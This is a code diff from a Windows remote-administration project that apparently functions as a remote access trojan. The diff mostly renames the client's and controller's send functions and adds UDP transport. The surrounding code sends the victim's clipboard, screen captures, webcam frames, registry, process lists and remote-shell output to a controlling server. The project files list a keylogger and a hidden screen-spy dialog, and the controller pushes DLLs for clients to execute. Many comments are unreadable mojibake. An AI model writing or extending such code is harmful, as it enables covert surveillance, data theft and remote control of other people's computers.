}catch(...){
|
}catch(...){
|
||||||
Mprintf("[ERROR] CManager::Send catch an error \n");
|
Mprintf("[ERROR] CManager::Send catch an error \n");
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -13,7 +13,7 @@
|
|||||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
BYTE bToken=TOKEN_REGEDIT;
|
BYTE bToken=TOKEN_REGEDIT;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
CRegisterManager::~CRegisterManager()
|
CRegisterManager::~CRegisterManager()
|
||||||
@@ -47,7 +47,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||||||
char *szBuffer= Opt.FindPath();
|
char *szBuffer= Opt.FindPath();
|
||||||
if(szBuffer!=NULL)
|
if(szBuffer!=NULL)
|
||||||
{
|
{
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
//Ŀ¼<C4BF>µ<EFBFBD>Ŀ¼
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
@@ -55,7 +55,7 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||||||
if(szBuffer!=NULL)
|
if(szBuffer!=NULL)
|
||||||
{
|
{
|
||||||
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
//Ŀ¼<C4BF>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -263,7 +263,7 @@ VOID CScreenManager::SendBitMapInfo()
|
|||||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, ulLength);
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -360,7 +360,7 @@ VOID CScreenManager::SendClientClipboard()
|
|||||||
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
|
||||||
::GlobalUnlock(hGlobal);
|
::GlobalUnlock(hGlobal);
|
||||||
::CloseClipboard();
|
::CloseClipboard();
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, iPacketLength);
|
m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
|
||||||
delete[] szBuffer;
|
delete[] szBuffer;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -374,7 +374,7 @@ VOID CScreenManager::SendFirstScreen()
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)FirstScreenData, ulFirstSendLength + 1);
|
m_ClientObject->Send2Server((char*)FirstScreenData, ulFirstSendLength + 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
||||||
@@ -391,7 +391,7 @@ const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
|
|||||||
|
|
||||||
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
|
||||||
{
|
{
|
||||||
m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
|
m_ClientObject->Send2Server(szBuffer, ulNextSendLength);
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string GetTitle(HWND hWnd) {
|
std::string GetTitle(HWND hWnd) {
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ VOID CServicesManager::SendServicesList()
|
|||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
m_hShellThreadHandle = pi.hThread;
|
m_hShellThreadHandle = pi.hThread;
|
||||||
|
|
||||||
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
|
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
|
|
||||||
@@ -131,7 +131,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
|||||||
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
const char *pStart = (char*)szTotalBuffer + This->m_nCmdLength;
|
||||||
int length = int(dwReturn) - This->m_nCmdLength;
|
int length = int(dwReturn) - This->m_nCmdLength;
|
||||||
if (length > 0)
|
if (length > 0)
|
||||||
This->m_ClientObject->OnServerSending(pStart, length);
|
This->m_ClientObject->Send2Server(pStart, length);
|
||||||
|
|
||||||
LocalFree(szTotalBuffer);
|
LocalFree(szTotalBuffer);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ VOID CSystemManager::SendProcessList()
|
|||||||
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
|
|
||||||
szBuffer = NULL;
|
szBuffer = NULL;
|
||||||
@@ -51,7 +51,7 @@ void CSystemManager::SendWindowsList()
|
|||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
|
|||||||
g_Event = 0;
|
g_Event = 0;
|
||||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||||
BYTE bToken = TOKEN_TALK_START;
|
BYTE bToken = TOKEN_TALK_START;
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||||
}
|
}
|
||||||
@@ -86,7 +86,7 @@ INT_PTR CALLBACK CTalkManager::DialogProc(HWND hDlg, UINT uMsg,
|
|||||||
{
|
{
|
||||||
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||||
BYTE bToken = TOKEN_TALKCMPLT;
|
BYTE bToken = TOKEN_TALKCMPLT;
|
||||||
if (This) This->m_ClientObject->OnServerSending((char*)&bToken, 1);
|
if (This) This->m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
EndDialog(hDlg, LOWORD(wParam));
|
EndDialog(hDlg, LOWORD(wParam));
|
||||||
return (INT_PTR)TRUE;
|
return (INT_PTR)TRUE;
|
||||||
}
|
}
|
||||||
@@ -140,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //ʱ
|
|||||||
{
|
{
|
||||||
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW);
|
||||||
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = TOKEN_TALKCMPLT; // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
m_ClientObject->Send2Server((char*)&bToken, 1); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>͵<EFBFBD>ָ<EFBFBD><D6B8>
|
||||||
EndDialog(hDlg,0);
|
EndDialog(hDlg,0);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -103,7 +103,7 @@ void CVideoManager::SendBitMapInfor()
|
|||||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||||
m_ClientObject->OnServerSending((char*)szBuffer, dwBytesLength);
|
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CVideoManager::SendNextScreen()
|
BOOL CVideoManager::SendNextScreen()
|
||||||
@@ -149,7 +149,7 @@ BOOL CVideoManager::SendNextScreen()
|
|||||||
}
|
}
|
||||||
m_CapVideo.SendEnd(); //copy send
|
m_CapVideo.SendEnd(); //copy send
|
||||||
|
|
||||||
m_ClientObject->OnServerSending((char*)lpBuffer, nPacketLen);
|
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -180,6 +180,7 @@
|
|||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
<ClCompile Include="KeyboardManager.cpp" />
|
<ClCompile Include="KeyboardManager.cpp" />
|
||||||
<ClCompile Include="keylogger.cpp" />
|
<ClCompile Include="keylogger.cpp" />
|
||||||
@@ -210,6 +211,7 @@
|
|||||||
<ClInclude Include="domain_pool.h" />
|
<ClInclude Include="domain_pool.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
<ClInclude Include="keylogger.h" />
|
<ClInclude Include="keylogger.h" />
|
||||||
|
|||||||
@@ -14,6 +14,7 @@
|
|||||||
#include <io.h>
|
#include <io.h>
|
||||||
#include <direct.h>
|
#include <direct.h>
|
||||||
#include <DbgHelp.h>
|
#include <DbgHelp.h>
|
||||||
|
#include "IOCPUDPServer.h"
|
||||||
#pragma comment(lib, "Dbghelp.lib")
|
#pragma comment(lib, "Dbghelp.lib")
|
||||||
|
|
||||||
CMy2015RemoteApp* GetThisApp() {
|
CMy2015RemoteApp* GetThisApp() {
|
||||||
|
|||||||
@@ -22,7 +22,7 @@ public:
|
|||||||
CMy2015RemoteApp();
|
CMy2015RemoteApp();
|
||||||
config *m_iniFile;
|
config *m_iniFile;
|
||||||
HANDLE m_Mutex;
|
HANDLE m_Mutex;
|
||||||
IOCPServer* m_iocpServer;
|
Server* m_iocpServer;
|
||||||
|
|
||||||
CImageList m_pImageList_Large; //ϵͳ<CFB5><CDB3>ͼ<EFBFBD><CDBC>
|
CImageList m_pImageList_Large; //ϵͳ<CFB5><CDB3>ͼ<EFBFBD><CDBC>
|
||||||
CImageList m_pImageList_Small; //ϵͳСͼ<D0A1><CDBC>
|
CImageList m_pImageList_Small; //ϵͳСͼ<D0A1><CDBC>
|
||||||
|
|||||||
@@ -278,7 +278,7 @@ std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath) {
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
CMy2015RemoteDlg::CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
CMy2015RemoteDlg::CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
|
||||||
{
|
{
|
||||||
m_iocpServer = iocpServer;
|
m_iocpServer = iocpServer;
|
||||||
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||||
@@ -1038,7 +1038,7 @@ void CMy2015RemoteDlg::Release(){
|
|||||||
for(int Pos = 0; Pos < n; ++Pos)
|
for(int Pos = 0; Pos < n; ++Pos)
|
||||||
{
|
{
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->Send2Client(ContextObject, &bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
Sleep(500);
|
Sleep(500);
|
||||||
@@ -1449,7 +1449,7 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
// 发送获得驱动器列表数据包
|
// 发送获得驱动器列表数据包
|
||||||
m_iocpServer->OnClientPreSending(ContextObject,szBuffer, ulLength);
|
m_iocpServer->Send2Client(ContextObject,szBuffer, ulLength);
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
@@ -1720,7 +1720,10 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
if (isClosed) {
|
if (isClosed) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||||
|
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||||
|
|
||||||
|
switch (cmd)
|
||||||
{
|
{
|
||||||
case TOKEN_GETVERSION: // 获取版本
|
case TOKEN_GETVERSION: // 获取版本
|
||||||
{
|
{
|
||||||
@@ -1732,7 +1735,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
resp[0] = 0;
|
resp[0] = 0;
|
||||||
memcpy(resp+1, &dll, sizeof(DllSendData));
|
memcpy(resp+1, &dll, sizeof(DllSendData));
|
||||||
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
|
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
|
m_iocpServer->Send2Client(ContextObject, resp, 1 + sizeof(DllSendData) + dll.DataSize);
|
||||||
SAFE_DELETE_ARRAY(resp);
|
SAFE_DELETE_ARRAY(resp);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -1754,7 +1757,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
std::string hmac = genHMAC(hash, m_superPass);
|
std::string hmac = genHMAC(hash, m_superPass);
|
||||||
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
||||||
resp[80] = 0;
|
resp[80] = 0;
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, (LPBYTE)resp, sizeof(resp));
|
m_iocpServer->Send2Client(ContextObject, (LPBYTE)resp, sizeof(resp));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case CMD_EXECUTE_DLL: // 请求DLL
|
case CMD_EXECUTE_DLL: // 请求DLL
|
||||||
@@ -1763,7 +1766,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
||||||
DllInfo* dll = *i;
|
DllInfo* dll = *i;
|
||||||
if (dll->Name == info->Name) {
|
if (dll->Name == info->Name) {
|
||||||
return m_iocpServer->OnClientPreSending(ContextObject, dll->Data->Buf(), dll->Data->length());
|
return m_iocpServer->Send2Client(ContextObject, dll->Data->Buf(), dll->Data->length());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
@@ -1876,6 +1879,9 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
default: {
|
||||||
|
Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->PeerName.c_str(), cmd, len);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1989,7 +1995,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
|
|||||||
HeartbeatACK ack = { hb.Time };
|
HeartbeatACK ack = { hb.Time };
|
||||||
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
BYTE buf[sizeof(HeartbeatACK) + 1] = { CMD_HEARTBEAT_ACK};
|
||||||
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
|
memcpy(buf + 1, &ack, sizeof(HeartbeatACK));
|
||||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
|
||||||
}
|
}
|
||||||
|
|
||||||
CLock L(m_cs);
|
CLock L(m_cs);
|
||||||
@@ -2013,7 +2019,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
|||||||
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
|
memcpy(buf+1, &m_settings, sizeof(MasterSettings));
|
||||||
|
|
||||||
if (ctx) {
|
if (ctx) {
|
||||||
m_iocpServer->Send(ctx, buf, sizeof(buf));
|
m_iocpServer->Send2Client(ctx, buf, sizeof(buf));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
@@ -2022,7 +2028,7 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
|
|||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
|
||||||
if (!ContextObject->bLogin)
|
if (!ContextObject->bLogin)
|
||||||
continue;
|
continue;
|
||||||
m_iocpServer->Send(ContextObject, buf, sizeof(buf));
|
m_iocpServer->Send2Client(ContextObject, buf, sizeof(buf));
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
@@ -2037,9 +2043,9 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
|||||||
char md5[33] = {};
|
char md5[33] = {};
|
||||||
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
|
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
|
||||||
if (!buf->MD5().empty() && md5 != buf->MD5())
|
if (!buf->MD5().empty() && md5 != buf->MD5())
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length(len<=20));
|
m_iocpServer->Send2Client(ContextObject, buf->Buf(), buf->length(len<=20));
|
||||||
else {
|
else {
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 6 /* data not changed */);
|
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 6 /* data not changed */);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2201,7 +2207,7 @@ void CMy2015RemoteDlg::OnMainProxy()
|
|||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||||
BYTE cmd[] = { COMMAND_PROXY };
|
BYTE cmd[] = { COMMAND_PROXY };
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, cmd, sizeof(cmd));
|
m_iocpServer->Send2Client(ContextObject, cmd, sizeof(cmd));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
@@ -2551,7 +2557,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
|
|||||||
Buffer* buf = m_DllList[menuIndex]->Data;
|
Buffer* buf = m_DllList[menuIndex]->Data;
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
m_iocpServer->Send2Client(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -125,7 +125,7 @@ protected:
|
|||||||
}
|
}
|
||||||
// <20><><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD>
|
||||||
public:
|
public:
|
||||||
CMy2015RemoteDlg(IOCPServer* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
CMy2015RemoteDlg(Server* iocpServer, CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||||
~CMy2015RemoteDlg();
|
~CMy2015RemoteDlg();
|
||||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||||
@@ -193,7 +193,7 @@ public:
|
|||||||
std::vector<DllInfo*> m_DllList;
|
std::vector<DllInfo*> m_DllList;
|
||||||
NOTIFYICONDATA m_Nid;
|
NOTIFYICONDATA m_Nid;
|
||||||
HANDLE m_hExit;
|
HANDLE m_hExit;
|
||||||
IOCPServer* m_iocpServer;
|
Server* m_iocpServer;
|
||||||
CRITICAL_SECTION m_cs;
|
CRITICAL_SECTION m_cs;
|
||||||
BOOL isClosed;
|
BOOL isClosed;
|
||||||
CMenu m_MainMenu;
|
CMenu m_MainMenu;
|
||||||
|
|||||||
@@ -262,7 +262,6 @@
|
|||||||
<ClInclude Include="BuildDlg.h" />
|
<ClInclude Include="BuildDlg.h" />
|
||||||
<ClInclude Include="Chat.h" />
|
<ClInclude Include="Chat.h" />
|
||||||
<ClInclude Include="CPasswordDlg.h" />
|
<ClInclude Include="CPasswordDlg.h" />
|
||||||
<ClInclude Include="CpuUseage.h" />
|
|
||||||
<ClInclude Include="CTextDlg.h" />
|
<ClInclude Include="CTextDlg.h" />
|
||||||
<ClInclude Include="DateVerify.h" />
|
<ClInclude Include="DateVerify.h" />
|
||||||
<ClInclude Include="DecryptDlg.h" />
|
<ClInclude Include="DecryptDlg.h" />
|
||||||
@@ -275,6 +274,7 @@
|
|||||||
<ClInclude Include="HideScreenSpyDlg.h" />
|
<ClInclude Include="HideScreenSpyDlg.h" />
|
||||||
<ClInclude Include="InputDlg.h" />
|
<ClInclude Include="InputDlg.h" />
|
||||||
<ClInclude Include="IOCPServer.h" />
|
<ClInclude Include="IOCPServer.h" />
|
||||||
|
<ClInclude Include="IOCPUDPServer.h" />
|
||||||
<ClInclude Include="KeyBoardDlg.h" />
|
<ClInclude Include="KeyBoardDlg.h" />
|
||||||
<ClInclude Include="proxy\HPSocket.h" />
|
<ClInclude Include="proxy\HPSocket.h" />
|
||||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||||
@@ -285,6 +285,7 @@
|
|||||||
<ClInclude Include="RegisterDlg.h" />
|
<ClInclude Include="RegisterDlg.h" />
|
||||||
<ClInclude Include="Resource.h" />
|
<ClInclude Include="Resource.h" />
|
||||||
<ClInclude Include="ScreenSpyDlg.h" />
|
<ClInclude Include="ScreenSpyDlg.h" />
|
||||||
|
<ClInclude Include="Server.h" />
|
||||||
<ClInclude Include="ServicesDlg.h" />
|
<ClInclude Include="ServicesDlg.h" />
|
||||||
<ClInclude Include="SettingDlg.h" />
|
<ClInclude Include="SettingDlg.h" />
|
||||||
<ClInclude Include="ShellDlg.h" />
|
<ClInclude Include="ShellDlg.h" />
|
||||||
